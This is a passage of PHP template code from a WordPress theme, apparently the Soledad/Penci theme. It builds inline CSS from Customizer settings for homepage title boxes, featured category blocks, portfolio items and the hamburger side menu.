			.penci-homepage-title.style-21 .inner-arrow{--pcheading-cl:<?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>;}
			.penci-homepage-title.style-26 .inner-arrow,.penci-homepage-title.style-30 .inner-arrow{--pcborder-cl:<?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>;}
			.penci-homepage-title.style-24 .inner-arrow>span,
			.penci-homepage-title.style-23 .inner-arrow>span,
			.penci-homepage-title.style-24 .inner-arrow>a,
			.penci-homepage-title.style-23 .inner-arrow>a,
			.penci-homepage-title.style-29 .inner-arrow > span,
			.penci-homepage-title.style-22,.penci-homepage-title.style-21 .inner-arrow span{--pcaccent-cl:<?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>;}
            .penci-border-arrow.penci-homepage-title .inner-arrow, .penci-homepage-title.style-4 .inner-arrow:before, .penci-homepage-title.style-4 .inner-arrow:after, .penci-homepage-title.style-7, .penci-homepage-title.style-9 { border-color: <?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>; }
            .penci-border-arrow.penci-homepage-title:before { border-top-color: <?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>; }
            .penci-homepage-title.style-5, .penci-homepage-title.style-7{ border-color: <?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>; }
            .penci-homepage-title.style-16.penci-border-arrow:after{ background-color: <?php echo get_theme_mod( 'penci_home_title_box_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_title_box_border_bottom5' ) ): ?>
            .penci-homepage-title.style-10, .penci-homepage-title.style-12,
            .penci-border-arrow.penci-homepage-title.style-5 .inner-arrow{ border-bottom-color: <?php echo get_theme_mod( 'penci_home_title_box_border_bottom5' ); ?>; }
            .penci-homepage-title.style-5{ border-color: <?php echo get_theme_mod( 'penci_home_title_box_border_bottom5' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_title_box_border_bottom7' ) ): ?>
            .penci-homepage-title.style-7 .inner-arrow:before, .penci-homepage-title.style-9 .inner-arrow:before{ background-color: <?php echo get_theme_mod( 'penci_home_title_box_border_bottom7' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_home_title_box_border_top10' ) ): ?>
            .penci-homepage-title.style-10{ border-top-color: <?php echo get_theme_mod( 'penci_home_title_box_border_top10' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_title_box_shapes_color' ) ): ?>
            .penci-homepage-title.style-13.pcalign-center .inner-arrow:before,
            .penci-homepage-title.style-13.pcalign-right .inner-arrow:before{ border-left-color: <?php echo get_theme_mod( 'penci_home_title_box_shapes_color' ); ?>; }
            .penci-homepage-title.style-13.pcalign-center .inner-arrow:after,
            .penci-homepage-title.style-13.pcalign-left .inner-arrow:after{ border-right-color: <?php echo get_theme_mod( 'penci_home_title_box_shapes_color' ); ?>; }

            .penci-homepage-title.style-12 .inner-arrow:before,
            .penci-homepage-title.style-12.pcalign-center .inner-arrow:after,
            .penci-homepage-title.style-12.pcalign-right .inner-arrow:after{ border-bottom-color: <?php echo get_theme_mod( 'penci_home_title_box_shapes_color' ); ?>; }
            .penci-homepage-title.style-11 .inner-arrow:after,
            .penci-homepage-title.style-11 .inner-arrow:before{ border-top-color: <?php echo get_theme_mod( 'penci_home_title_box_shapes_color' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_home_bgstyle15' ) ): ?>
            .penci-homepage-title.style-15.penci-border-arrow:before{ background-color: <?php echo get_theme_mod( 'penci_home_bgstyle15' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_iconstyle15' ) ): ?>
            .penci-homepage-title.style-15.penci-border-arrow:after{ color: <?php echo get_theme_mod( 'penci_home_iconstyle15' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_cllines' ) ): ?>
            .penci-homepage-title.style-18.penci-border-arrow:after{ color: <?php echo get_theme_mod( 'penci_home_cllines' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_home_title_box_border_inner_color' ) ): ?>
			.penci-homepage-title.style-24 .inner-arrow,
			.penci-homepage-title.style-23 .inner-arrow,
			.penci-homepage-title.style-22{--pcborder-cl:<?php echo get_theme_mod( 'penci_home_title_box_border_inner_color' ); ?>;}
            .penci-border-arrow.penci-homepage-title:after { border-color: <?php echo get_theme_mod( 'penci_home_title_box_border_inner_color' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_home_title_box_text_color' ) ): ?>
			.penci-homepage-title.style-21 .inner-arrow,
			.penci-homepage-title.style-22,
			.penci-homepage-title.style-23,
			.penci-homepage-title.style-28,
			.penci-homepage-title.style-24{ --pcheading-cl: <?php echo get_theme_mod( 'penci_home_title_box_text_color' ); ?>; }
			.penci-homepage-title.style-25 .inner-arrow > span,.penci-homepage-title.style-25 .inner-arrow > a, .penci-homepage-title.style-30 .inner-arrow > span, .penci-homepage-title.style-29 .inner-arrow span,
            .penci-homepage-title .inner-arrow, .penci-homepage-title.penci-magazine-title .inner-arrow a { color: <?php echo get_theme_mod( 'penci_home_title_box_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_remove_border_outer' ) ): ?>
            .penci-homepage-title:after { content: none; display: none; }
            .penci-homepage-title { margin-left: 0; margin-right: 0; margin-top: 0; }
            .penci-homepage-title:before { bottom: -6px; border-width: 6px; margin-left: -6px; }
            .rtl .penci-homepage-title:before { bottom: -6px; border-width: 6px; margin-right: -6px; margin-left: 0; }
            .penci-homepage-title.penci-magazine-title:before{ left: 25px; }
            .rtl .penci-homepage-title.penci-magazine-title:before{ right: 25px; left:auto; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_remove_arrow_down' ) ): ?>
            .penci-homepage-title:before, .penci-border-arrow.penci-homepage-title.style-2:after { content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_title_color' ) ): ?>
            .home-featured-cat-content .magcat-detail h3 a { color: <?php echo get_theme_mod( 'penci_home_featured_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_title_hover_color' ) ): ?>
            .home-featured-cat-content .magcat-detail h3 a:hover { color: <?php echo get_theme_mod( 'penci_home_featured_title_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_meta_color' ) ): ?>
            .home-featured-cat-content .grid-post-box-meta span{ color: <?php echo get_theme_mod( 'penci_home_featured_meta_color' ); ?> }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured3_meta_color' ) ): ?>
            .home-featured-cat-content .mag-photo .grid-post-box-meta span, .home-featured-cat-content .mag-photo .grid-post-box-meta span a, .home-featured-cat-content .penci-single-mag-slider .grid-post-box-meta span, .home-featured-cat-content .penci-single-mag-slider .grid-post-box-meta span a, .home-featured-cat-content.style-14 .mag-meta, .home-featured-cat-content.style-14 .mag-meta span a, .home-featured-cat-content .mag-photo .grid-post-box-meta span:after, .home-featured-cat-content.style-15 .first-post .grid-post-box-meta span, .home-featured-cat-content.style-15 .first-post .grid-post-box-meta span a{ color: <?php echo get_theme_mod( 'penci_home_featured3_meta_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_metalink_color' ) ): ?>
            .home-featured-cat-content .grid-post-box-meta span a{ color: <?php echo get_theme_mod( 'penci_home_featured_metalink_color' ); ?> }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_accent_color' ) ): ?>
            .home-featured-cat-content .grid-post-box-meta span a:hover { color: <?php echo get_theme_mod( 'penci_home_featured_accent_color' ); ?>; }
            .home-featured-cat-content .first-post .magcat-detail .mag-header:after { background: <?php echo get_theme_mod( 'penci_home_featured_accent_color' ); ?>; }
            .penci-slider ol.penci-control-nav li a.penci-active, .penci-slider ol.penci-control-nav li a:hover { border-color: <?php echo get_theme_mod( 'penci_home_featured_accent_color' ); ?>; background: <?php echo get_theme_mod( 'penci_home_featured_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_viewall_color' ) ): ?>
            .penci-featured-cat-seemore a, .penci-featured-cat-seemore.penci-btn-make-button a{ color: <?php echo get_theme_mod( 'penci_home_featured_viewall_color' ); ?> }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_viewall_bg' ) ): ?>
            .penci-featured-cat-seemore.penci-btn-make-button a{ background-color: <?php echo get_theme_mod( 'penci_home_featured_viewall_bg' ); ?> }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured3_overlay_color' ) ): ?>
            .home-featured-cat-content .mag-photo .mag-overlay-photo { background-color: <?php echo get_theme_mod( 'penci_home_featured3_overlay_color' ); ?>; }
		<?php endif; ?>
        .home-featured-cat-content .mag-photo .mag-overlay-photo { opacity: <?php echo get_theme_mod( 'penci_home_featured3_overlay_opacity' ); ?>; }
        .home-featured-cat-content .mag-photo:hover .mag-overlay-photo { opacity: <?php echo get_theme_mod( 'penci_home_featured3_overlay_hover_opacity' ); ?>; }
		<?php if ( get_theme_mod( 'penci_home_featured3_title_color' ) ): ?>
            .home-featured-cat-content .mag-photo .magcat-detail h3 a, .penci-single-mag-slider .magcat-detail .magcat-titlte a, .home-featured-cat-content.style-14 .first-post .magcat-detail h3 a, .home-featured-cat-content.style-15 .first-post .magcat-detail h3 a{ color: <?php echo get_theme_mod( 'penci_home_featured3_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured3_title_hover_color' ) ): ?>
            .home-featured-cat-content .mag-photo .magcat-detail h3 a:hover, .penci-single-mag-slider .magcat-detail .magcat-titlte a:hover, .home-featured-cat-content.style-14 .first-post .magcat-detail h3 a:hover, .home-featured-cat-content.style-15 .first-post .magcat-detail h3 a:hover { color: <?php echo get_theme_mod( 'penci_home_featured3_title_hover_color' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_portfolio_layout_title_color' ) ): ?>
            .portfolio-overlay-content .portfolio-short .portfolio-title a, .text-grid-info h3 a { color: <?php echo get_theme_mod( 'penci_portfolio_layout_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_layout_title_hover' ) ): ?>
            .portfolio-overlay-content .portfolio-short .portfolio-title a:hover, .text-grid-info h3 a:hover { color: <?php echo get_theme_mod( 'penci_portfolio_layout_title_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_buttons_icon_color' ) ): ?>
            .portfolio-buttons a { color: <?php echo get_theme_mod( 'penci_portfolio_buttons_icon_color' ); ?>; border-color: <?php echo get_theme_mod( 'penci_portfolio_buttons_icon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_buttons_icon_hover' ) ): ?>
            .portfolio-item .portfolio-buttons a:hover { color: <?php echo get_theme_mod( 'penci_portfolio_buttons_icon_hover' ); ?>; border-color: <?php echo get_theme_mod( 'penci_portfolio_buttons_icon_hover' ); ?>; }
            .portfolio-item .portfolio-buttons a.liked > i { color: <?php echo get_theme_mod( 'penci_portfolio_buttons_icon_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_layout_overlay_color' ) ): ?>
            .portfolio-overlay-background { background: <?php echo get_theme_mod( 'penci_portfolio_layout_overlay_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_layout_overlay_border_color' ) ): ?>
            .inner-item-portfolio:hover .portfolio-overlay-background { border-color: <?php echo get_theme_mod( 'penci_portfolio_layout_overlay_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_grid_categories_color' ) ): ?>
            .text-grid-cat, .text-grid-cat a { color: <?php echo get_theme_mod( 'penci_portfolio_grid_categories_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_grid_categories_hover' ) ): ?>
            .text-grid-cat a:hover { color: <?php echo get_theme_mod( 'penci_portfolio_grid_categories_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_overlay_color' ) ): ?>
            .penci-portfolio-thumbnail a:after { background-color: <?php echo get_theme_mod( 'penci_portfolio_overlay_color' ); ?>; }
		<?php endif; ?>
        .inner-item-portfolio:hover .penci-portfolio-thumbnail a:after { opacity: <?php echo get_theme_mod( 'penci_portfolio_overlay_opacity' ); ?>; }
		<?php if ( get_theme_mod( 'penci_portfolio_title_color' ) ): ?>
            .inner-item-portfolio .portfolio-desc h3 { color: <?php echo get_theme_mod( 'penci_portfolio_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_cate_color' ) ): ?>
            .inner-item-portfolio .portfolio-desc span { color: <?php echo get_theme_mod( 'penci_portfolio_cate_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_title_hcolor' ) ): ?>
            .inner-item-portfolio .portfolio-desc h3:hover { color: <?php echo get_theme_mod( 'penci_portfolio_title_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_portfolio_cate_hcolor' ) ): ?>
            .inner-item-portfolio .portfolio-desc span:hover { color: <?php echo get_theme_mod( 'penci_portfolio_cate_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_menu_hbg_mobile' ) ): ?>
            @media only screen and (max-width: 960px){ .penci-menuhbg-wapper { display: none !important; } }
		<?php endif; ?>
		<?php $hbg_size = get_theme_mod( 'penci_hbg_size_icon' ); ?>
		<?php if ( $hbg_size && $hbg_size > 13 && $hbg_size < 31 ): ?>
            .penci-menuhbg-toggle { width: <?php echo $hbg_size; ?>px; }
            .penci-menuhbg-toggle .penci-menuhbg-inner { height: <?php echo $hbg_size; ?>px; }
            .penci-menuhbg-toggle .penci-lines, .penci-menuhbg-wapper{ width: <?php echo $hbg_size; ?>px; }
            .penci-menuhbg-toggle .lines-button{ top: <?php echo ( $hbg_size - 2 ) / 2; ?>px; }
            .penci-menuhbg-toggle .penci-lines:before{ top: <?php echo( ( $hbg_size / 2 ) - 4 ); ?>px; }
            .penci-menuhbg-toggle .penci-lines:after{ top: -<?php echo( ( $hbg_size / 2 ) - 4 ); ?>px; }
            .penci-menuhbg-toggle:hover .lines-button:after, .penci-menuhbg-toggle:hover .penci-lines:before, .penci-menuhbg-toggle:hover .penci-lines:after{ transform: translateX(<?php echo( $hbg_size + 10 ); ?>px); }
            .penci-menuhbg-toggle .lines-button.penci-hover-effect{ left: -<?php echo( $hbg_size + 10 ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_hbg_sitetitle_size' ) ): ?>
            .penci-menu-hbg-inner .penci-hbg_sitetitle{ font-size: <?php echo get_theme_mod( 'penci_hbg_sitetitle_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_hbg_sitedes_size' ) ): ?>
            .penci-menu-hbg-inner .penci-hbg_desc{ font-size: <?php echo get_theme_mod( 'penci_hbg_sitedes_size' ); ?>px; }
		<?php endif; ?>
		<?php
		if ( get_theme_mod( 'penci_menu_hbg_show' ) || get_theme_mod( 'penci_vertical_nav_show' ) || get_theme_mod( 'pchdbd_all' ) || get_theme_mod( 'pchdbd_homepage' ) || get_theme_mod( 'pchdbd_archive' ) || get_theme_mod( 'pchdbd_post' ) || get_theme_mod( 'pchdbd_page' ) || get_theme_mod( 'pchdbd_woocommerce' ) ):
			$max_width_hbg = get_theme_mod( 'penci_hbg_logo_max_width' );
			if ( get_theme_mod( 'penci_hbg_logo_max_width' ) ) {
				echo '.penci-hbg-logo img{ max-width: ' . $max_width_hbg . 'px; }';
			}
			$penci_hbg_width  = get_theme_mod( 'penci_hbg_width' );
			$penci_hbg_screen = 1500;
			if ( $penci_hbg_width && $penci_hbg_width > 249 && $penci_hbg_width < 501 ) {
				$penci_hbg_screen = 1170 + $penci_hbg_width;
				echo '.penci-menu-hbg{ width: ' . $penci_hbg_width . 'px; }';
				echo '.penci-menu-hbg.penci-menu-hbg-left{ transform: translateX(-' . $penci_hbg_width . 'px); -webkit-transform: translateX(-' . $penci_hbg_width . 'px); -moz-transform: translateX(-' . $penci_hbg_width . 'px); }';
				echo '.penci-menu-hbg.penci-menu-hbg-right{ transform: translateX(' . $penci_hbg_width . 'px); -webkit-transform: translateX(' . $penci_hbg_width . 'px); -moz-transform: translateX(' . $penci_hbg_width . 'px); }';
				echo '.penci-menuhbg-open .penci-menu-hbg.penci-menu-hbg-left, .penci-vernav-poleft.penci-menuhbg-open .penci-vernav-toggle{ left: ' . $penci_hbg_width . 'px; }';
				echo '@media only screen and (min-width: 961px) { .penci-vernav-enable.penci-vernav-poleft .wrapper-boxed, .penci-vernav-enable.penci-vernav-poleft .pencipdc_podcast.pencipdc_dock_player{ padding-left: ' . $penci_hbg_width . 'px; } .penci-vernav-enable.penci-vernav-poright .wrapper-boxed, .penci-vernav-enable.penci-vernav-poright .pencipdc_podcast.pencipdc_dock_player{ padding-right: ' . $penci_hbg_width . 'px; } .penci-vernav-enable .is-sticky #navigation{ width: calc(100% - ' . $penci_hbg_width . 'px); } }';
				echo '@media only screen and (min-width: 961px) { .penci-vernav-enable .penci_is_nosidebar .wp-block-image.alignfull, .penci-vernav-enable .penci_is_nosidebar .wp-block-cover-image.alignfull, .penci-vernav-enable .penci_is_nosidebar .wp-block-cover.alignfull, .penci-vernav-enable .penci_is_nosidebar .wp-block-gallery.alignfull, .penci-vernav-enable .penci_is_nosidebar .alignfull{ margin-left: calc(50% - 50vw + ' . floor( $penci_hbg_width / 2 ) . 'px); width: calc(100vw - ' . $penci_hbg_width . 'px); } }';
				echo '.penci-vernav-poright.penci-menuhbg-open .penci-vernav-toggle{ right: ' . $penci_hbg_width . 'px; }';
				echo '@media only screen and (min-width: 961px) { .penci-vernav-enable.penci-vernav-poleft .penci-rltpopup-left{ left: ' . $penci_hbg_width . 'px; } }';
				echo '@media only screen and (min-width: 961px) { .penci-vernav-enable.penci-vernav-poright .penci-rltpopup-right{ right: ' . $penci_hbg_width . 'px; } }';
			}
			echo '@media only screen and (max-width: ' . $penci_hbg_screen . 'px) and (min-width: 961px) { .penci-vernav-enable .container { max-width: 100%; max-width: calc(100% - 30px); } .penci-vernav-enable .container.home-featured-boxes{ display: block; } .penci-vernav-enable .container.home-featured-boxes:before, .penci-vernav-enable .container.home-featured-boxes:after{ content: ""; display: table; clear: both; } }';

			$mhbg_icon_toggle_color  = get_theme_mod( 'penci_mhbg_icon_toggle_color' );
			$mhbg_icon_toggle_hcolor = get_theme_mod( 'penci_mhbg_icon_toggle_hcolor' );

			$penci_mhbg_mobilecl   = get_theme_mod( 'penci_mhbg_mobilecl' );
			$penci_mhbg_mobilebgcl = get_theme_mod( 'penci_mhbg_mobilebgcl' );

			if ( $penci_mhbg_mobilebgcl ) {
				echo '.penci-vernav-toggle:before{border-top-color:' . $penci_mhbg_mobilebgcl . '}';
			}

			if ( $penci_mhbg_mobilecl ) {
				echo '.penci-vernav-toggle svg{fill:' . $penci_mhbg_mobilecl . '}';
			}

			if ( $mhbg_icon_toggle_color ) {
				echo '.penci-menuhbg-toggle .lines-button:after,.penci-menuhbg-toggle .penci-lines:before, .penci-menuhbg-toggle .penci-lines:after{ background-color: ' . esc_attr( $mhbg_icon_toggle_color ) . ' }';
			}

			if ( $mhbg_icon_toggle_hcolor ) {
				echo '.penci-menuhbg-toggle:hover .lines-button:after, .penci-menuhbg-toggle:hover .penci-lines:before, .penci-menuhbg-toggle:hover .penci-lines:after{ background-color: ' . esc_attr( $mhbg_icon_toggle_hcolor ) . ' }';
			}

			$mhbg_bgcolor            = get_theme_mod( 'penci_mhbg_bgcolor' );
			$mhbg_textcolor          = get_theme_mod( 'penci_mhbg_textcolor' );
			$mhbg_closecolor         = get_theme_mod( 'penci_mhbg_closecolor' );
			$mhbg_closehover         = get_theme_mod( 'penci_mhbg_closehover' );
			$mhbg_bordercolor        = get_theme_mod( 'penci_mhbg_bordercolor' );
			$mhbg_bgimgcolor         = get_theme_mod( 'penci_menu_hbg_bgimg' );
			$mhbgtitle_color         = get_theme_mod( 'penci_mhbgtitle_color' );
			$mhbgdesc_hcolor         = get_theme_mod( 'penci_mhbgdesc_hcolor' );
			$mhbgsearch_border       = get_theme_mod( 'penci_mhbg_search_border' );
			$mhbgsearch_border_hover = get_theme_mod( 'penci_mhbg_search_border_hover' );
			$mhbgsearch_color        = get_theme_mod( 'penci_mhbg_search_color' );
			$mhbgsearch_icon         = get_theme_mod( 'penci_mhbg_search_icon' );
			$mhbgaccent_color        = get_theme_mod( 'penci_mhbgaccent_color' );
			$mhbgaccent_hover_color  = get_theme_mod( 'penci_mhbgaccent_hover_color' );
			$mhbgfooter_color        = get_theme_mod( 'penci_mhbgfooter_color' );
			$mhbgicon_color          = get_theme_mod( 'penci_mhbgicon_color' );
			$mhbgicon_hover_color    = get_theme_mod( 'penci_mhbgicon_hover_color' );
			$mhbg_social_size        = get_theme_mod( 'penci_menuhbg_icon_size' );
			$mhbgicon_border         = get_theme_mod( 'penci_mhbgicon_border' );
			$mhbgicon_border_hover   = get_theme_mod( 'penci_mhbgicon_border_hover' );
			$mhbgicon_bg             = get_theme_mod( 'penci_mhbgicon_bg' );
			$mhbgicon_bg_hover       = get_theme_mod( 'penci_mhbgicon_bg_hover' );

			$mhbg_widget_title_color = get_theme_mod( 'penci_mhbg_widget_title_color' );
			$mhbgicon_bg_hover_color = get_theme_mod( 'penci_mhbgicon_bg_hover_color' );

			if ( $mhbg_bgcolor ) {
				echo '.penci-menu-hbg,.penci-menu-hbg .penci-sidebar-content .widget-title{background-color: ' . esc_attr( $mhbg_bgcolor ) . ';}';
			}
			if ( $mhbg_bgimgcolor ) {
				echo '.penci-menu-hbg{background-image: url( ' . esc_url( $mhbg_bgimgcolor ) . ' );}';
			}
			if ( $mhbg_closecolor ) {
				echo '.penci-menu-hbg-inner #penci-close-hbg:before, .penci-menu-hbg-inner #penci-close-hbg:after{background-color: ' . esc_attr( $mhbg_closecolor ) . ';}';
			}
			if ( $mhbg_closehover ) {
				echo '.penci-menu-hbg-inner #penci-close-hbg:hover:before, .penci-menu-hbg-inner #penci-close-hbg:hover:after{background-color: ' . esc_attr( $mhbg_closehover ) . ';}';
			}
			if ( $mhbg_textcolor ) {
				echo '.penci-menu-hbg,.penci-menu-hbg .about-widget .about-me-heading,';
				echo '.penci-menu-hbg .widget select,.penci-menu-hbg .widget select option,';
				echo '.penci-menu-hbg form.pc-searchform input.search-input{ color: ' . $mhbg_textcolor . ' }';
			}

			if ( $mhbg_bordercolor ) {
				echo '.penci-menu-hbg .widget ul li,.penci-menu-hbg .menu li,';
				echo '.penci-menu-hbg .widget-social a i,';
				echo '.penci-menu-hbg .penci-home-popular-posts,';
				echo '.penci-menu-hbg #respond textarea,';
				echo '.penci-menu-hbg .wpcf7 textarea,';
				echo '.penci-menu-hbg #respond input,';
				echo '.penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=date], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=datetime], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=email], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=month], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=number], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=password], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=range], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=search], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=tel], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=text], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=time], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=url], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=week], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form select, .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form textarea,';
				echo '.penci-menu-hbg .wpcf7 input,';
				echo '.penci-menu-hbg .widget_wysija input,';
				echo '.penci-menu-hbg .widget select,';
				echo '.penci-menu-hbg .widget ul ul,';
				echo '.penci-menu-hbg .widget .tagcloud a,';
				echo '.penci-menu-hbg #wp-calendar tbody td,';
				echo '.penci-menu-hbg #wp-calendar thead th,';
				echo '.penci-menu-hbg .widget input[type="text"],';
				echo '.penci-menu-hbg .widget input[type="email"],';
				echo '.penci-menu-hbg .widget input[type="date"],';
				echo '.penci-menu-hbg .widget input[type="number"],';
				echo '.penci-menu-hbg .widget input[type="search"], .widget input[type="password"], .penci-menu-hbg form.pc-searchform input.search-input,';
				echo '.penci-vernav-enable.penci-vernav-poleft .penci-menu-hbg, .penci-vernav-enable.penci-vernav-poright .penci-menu-hbg, .penci-menu-hbg ul.sub-menu{border-color: ' . $mhbg_bordercolor . ';}';
			}
			if ( $mhbgtitle_color ) {
				echo '.penci-menu-hbg-inner .penci-hbg_sitetitle{ color:' . esc_attr( $mhbgtitle_color ) . ';}';
			}
			if ( $mhbgdesc_hcolor ) {
				echo '.penci-menu-hbg-inner .penci-hbg_desc{ color:' . esc_attr( $mhbgdesc_hcolor ) . ';}';
			}
			if ( $mhbgsearch_border ) {
				echo '.penci-menu-hbg form.pc-searchform.penci-hbg-search-form input.search-input{ border-color:' . esc_attr( $mhbgsearch_border ) . ';}';
			}
			if ( $mhbgsearch_border_hover ) {
				echo '.penci-menu-hbg .penci-hbg-search-form input.search-input:hover, form.pc-searchform.penci-hbg-search-form input.search-input:hover, form.pc-searchform.penci-hbg-search-form input.search-input:focus{ border-color:' . esc_attr( $mhbgsearch_border_hover ) . ';}';
			}
			if ( $mhbgsearch_color ) {
				echo 'form.pc-searchform.penci-hbg-search-form input.search-input{ color:' . esc_attr( $mhbgsearch_color ) . ';}';
				echo 'form.pc-searchform.penci-hbg-search-form input.search-input::-webkit-input-placeholder { color: ' . esc_attr( $mhbgsearch_color ) . '; }';
				echo 'form.pc-searchform.penci-hbg-search-form input.search-input::-moz-placeholder { color: ' . esc_attr( $mhbgsearch_color ) . '; opacity: 1; }';
				echo 'form.pc-searchform.penci-hbg-search-form input.search-input:-ms-input-placeholder { color: ' . esc_attr( $mhbgsearch_color ) . '; }';
				echo 'form.pc-searchform.penci-hbg-search-form input.search-input:-moz-placeholder { color: ' . esc_attr( $mhbgsearch_color ) . '; opacity: 1; }';
			}
			if ( $mhbgsearch_icon ) {
				echo 'form.pc-searchform.penci-hbg-search-form i{ color:' . esc_attr( $mhbgsearch_icon ) . ';}';
			}

			if ( $mhbgaccent_color ) {
				echo '.penci-menu-hbg .menu li a,';
				echo '.penci-menu-hbg .widget ul.side-newsfeed li .side-item .side-item-text h4 a,';
				echo '.penci-menu-hbg #wp-calendar tbody td a,';
				echo '.penci-menu-hbg .widget.widget_categories ul li,';
				echo '.penci-menu-hbg .widget.widget_archive ul li, .penci-menu-hbg .widget-social a i,';
				echo '.penci-menu-hbg .widget-social a span,';
				echo '.penci-menu-hbg .widget-social.show-text a span,';
				echo '.penci-menu-hbg .widget a{ color: ' . esc_attr( $mhbgaccent_color ) . ';}';
			}

			if ( $mhbgaccent_hover_color ) {
				echo '.penci-menu-hbg .menu li a:hover,.penci-menu-hbg .menu li a .indicator:hover';
				echo '.penci-menu-hbg .widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover,';
				echo '.penci-menu-hbg .widget a:hover,';
				echo '.penci-menu-hbg .penci-sidebar-content .widget-social a:hover span,';
				echo '.penci-menu-hbg .widget-social a:hover span,';
				echo '.penci-menu-hbg .penci-tweets-widget-content .icon-tweets,';
				echo '.penci-menu-hbg .penci-tweets-widget-content .tweet-intents a,';
				echo '.penci-menu-hbg .penci-tweets-widget-content.tweet-intents span:after,';
				echo '.penci-menu-hbg .widget-social.remove-circle a:hover i,';
				echo '.penci-menu-hbg #wp-calendar tbody td a:hover,';
				echo '.penci-menu-hbg a:hover {color: ' . esc_attr( $mhbgaccent_hover_color ) . ';}';

				echo '.penci-menu-hbg .widget .tagcloud a:hover,';
				echo '.penci-menu-hbg .widget-social a:hover i,';
				echo '.penci-menu-hbg .widget .penci-user-logged-in .penci-user-action-links a:hover,';
				echo '.penci-menu-hbg .widget input[type="submit"]:hover,';
				echo '.penci-menu-hbg .widget button[type="submit"]:hover{ color: #fff; background-color: ' . esc_attr( $mhbgaccent_hover_color ) . '; border-color: ' . esc_attr( $mhbgaccent_hover_color ) . '; }';

				echo '.penci-menu-hbg .about-widget .about-me-heading:before { border-color: ' . esc_attr( $mhbgaccent_hover_color ) . '; }';
				echo '.penci-menu-hbg .penci-tweets-widget-content .tweet-intents-inner:before,';
				echo '.penci-menu-hbg .penci-tweets-widget-content .tweet-intents-inner:after { background-color: ' . esc_attr( $mhbgaccent_hover_color ) . '; }';
				echo '.penci-menu-hbg .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span,';
				echo '.penci-menu-hbg .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span { border-color: ' . esc_attr( $mhbgaccent_hover_color ) . '; background-color: ' . esc_attr( $mhbgaccent_hover_color ) . '; }';
			}

			if ( $mhbgfooter_color ) {
				echo '.penci-menu-hbg-inner .penci_menu_hbg_ftext{ color:' . esc_attr( $mhbgfooter_color ) . ';}';
			}
